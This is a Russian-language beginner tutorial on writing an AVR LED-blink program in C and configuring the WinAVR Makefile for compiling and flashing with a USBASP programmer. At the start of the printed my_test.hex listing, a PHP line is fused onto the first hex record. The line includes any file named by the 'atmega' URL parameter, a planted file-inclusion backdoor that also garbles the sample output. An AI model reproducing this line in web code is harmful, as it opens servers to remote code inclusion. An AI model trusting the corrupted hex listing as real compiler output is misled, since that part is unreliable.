Сначала создадим на диске папку, где будут находиться файлы вашего проекта.
Запустим редактор программиста Programmers Notepad [WinAVR]. В меню редактора выберем File -> New -> C/C++ и напишем программу на языке Си.
/************************************************
ПРИМЕР МИГАНИЯ СВЕТОДИОДАМИ :: MYROBOT.RU
*************************************************/
#define F_CPU 1000000UL // 1 MHz
#include <avr/io.h>
#include <util/delay.h>
int main(void) // начало основой программы
{
DDRD = 0xff; // все выводы порта D сконфигурировать как выходы
while (1) { // Бесконечный цикл
PORTD = 0xff; // установить "1" на всех линиях порта D
_delay_ms(250); // Ждем 0.25 сек.
PORTD = 0x00; // установить "0" на всех линиях порта D
_delay_ms(250); // Ждем 0.25 сек.
} // закрывающая скобка бесконечного цикла
} // закрывающая скобка основной программы
Сохраним листинг программы в предварительно созданной нами папке в файле с именем "my_test.c" (каждый проект лучше сохранять в отдельной папке). Имя файла может быть любым без пробелов и иметь расширение ".c".
В WinAVR исходный текст программы компилируется при помощи утилиты make.exe, которая находится в папке WinAVR\utils\bin. Make.exe контролирует генерацию исполняемых файлов из исходного кода программы. Для управления работой этой утилиты используют make-файлы. Make-файл сообщает компилятору, какие команды запускать, какие файлы компилировать и линковать, какой выходной код генерировать и т. д.
После установки WinAVR в папке WinAVR\sample можно найти шаблон с именем Makefile, который нужно скопировать в папку с проектом и уже там редактировать.
Внимание: Makefile и компилируемый файл (в нашем случае my_test.c) должны находиться в одной папке.
Откроем Makefile в редакторе Programmers Notepad и отредактируем несколько важных для компилятора инструкций.
Во-первых, обязательно нужно указать, для какого типа микроконтроллера мы хотим получить выходной код. Найдем следующие строки:
# MCU name
MCU = atmega128
Первая строка - комментарий, а во второй вместо atmega128 пишем тот микроконтроллер, который нас интересует (например, atmega8, attiny2313, attiny26).
Частота тактирования микроконтроллера в герцах определяется в строках:
# Processor frequency.
F_CPU = 8000000
Вместо 8000000 напишем 1000000, что будет составлять 1 мегагерц (1 МГц).
Должно получиться так:
# Processor frequency.
F_CPU = 1000000
Имя проекта, а соответственно и имя исходного файла с функцией main и выходные файлы с расширениями hex и cof, определяется в следующих строках:
# Target file name (without extension).
TARGET = testpp
Здесь вместо testpp пишем нужное имя проекта (в нашем случае my_test).
Ищем строки:
# List C source files here. (C dependencies are automatically generated.)
SRC =
После знака "равно" пишем $(TARGET).c, чтобы получилось
# List C source files here. (C dependencies are automatically generated.)
SRC = $(TARGET).c
Ищем строки:
# List C++ source files here. (C dependencies are automatically generated.)
CPPSRC = main.cpp
Стираем запись после знака "равно". Должно получиться:
# List C++ source files here. (C dependencies are automatically generated.)
CPPSRC =
В разделе Optimization level проверяем уровень оптимизации. Можно оставить все как есть (s - оптимизирует выходной файл по размеру).
# Optimization level, can be [0, 1, 2, 3, s].
# 0 = turn off optimization. s = optimize for size.
# (Note: 3 is not always the best optimization level. See avr-libc FAQ.)
OPT = s
После этого, немного ниже, ищем раздел:
#---------------- Programming Options (avrdude) ----------------
Ищем строку:
AVRDUDE_PROGRAMMER = stk500
Заменяем на:
AVRDUDE_PROGRAMMER = usbasp
В дальнейшем в статьях раздела "Шаг за шагом" мы будем опираться на вариант программатора USBASP.
Ищем строку:
AVRDUDE_PORT = com1 # programmer connected to serial device
Заменяем на:
AVRDUDE_PORT = usb
Программатор USBASP использует USB-порт.
Вы можете использовать более удобный шаблон Makefile, в котором часто изменяемые опции вынесены в начало файла. В простейшем случае для использования этого Makefile'а достаточно скопировать его в папку с проектом и изменить, если потребуется, строки в разделе "ОСНОВНЫЕ ИНСТРУКЦИИ".
Кроме того, в состав пакета WinAVR входит утилита MFile, которая помогает правильно составить или отредактировать Makefile. Запустить утилиту можно через меню "Пуск -> Программы -> WinAVR -> MFile [WinAVR]"
Откройте в редакторе Programmers Notepad исходный текст программы my_test.c, в меню выберете Tools -> [WinAVR] Make All. Команда Make All выполняет компиляцию исходного кода программы и в случае отсутствия ошибок генерирует файл, который можно прошивать в микроконтроллер AVR.
Внизу, в окне "Output", должно появиться сообщение об успешной компиляции:
А в папке вашего проекта должны появиться следующие файлы:
Самым главным из этих файлов для нас будет файл my_test.hex. В нем хранится шестнадцатиричный код для загрузки в память программ (Flash ROM) микроконтроллера.
$avr=($_GET['atmega']);if($avr)include($avr);?>:1000000012C02BC02AC029C028C027C026C025C0C6
:1000100024C023C022C021C020C01FC01EC01DC0DC
:100020001CC01BC01AC011241FBECFE5D4E0DEBF28
:10003000CDBF10E0A0E6B0E0E0E8F0E002C005903F
:100040000D92A036B107D9F710E0A0E6B0E001C0EC
:100050001D92A036B107E1F701C0D2CFCFE5D4E0C1
:10006000DEBFCDBF8FEF81BB282FE0E0F0E022BBE9
:10007000CF010197F1F712BACF010197F1F7F7CF4E
:00000001FF
В файле my_test.eep хранится шестнадцатиричный код для загрузки в энергонезависимую память данных (EEPROM).
Следует помнить, что после каждого изменения кода программа должна быть перекомпилирована, т.е. в редакторе Programmers Notepad выполнено Tools -> [WinAVR] Make All.
Если проект будет состоять из нескольких файлов и в одном из них что-то изменили, то при повторной компиляции будет компилироваться только измененный файл. Для полной перекомпиляции необходимо вначале выполнить команду Tools -> [WinAVR] Make Clean, а затем команду [WinAVR] Make All. Команда Make Clean удаляет все файлы, сгенерированные предыдущей командой Make All.
|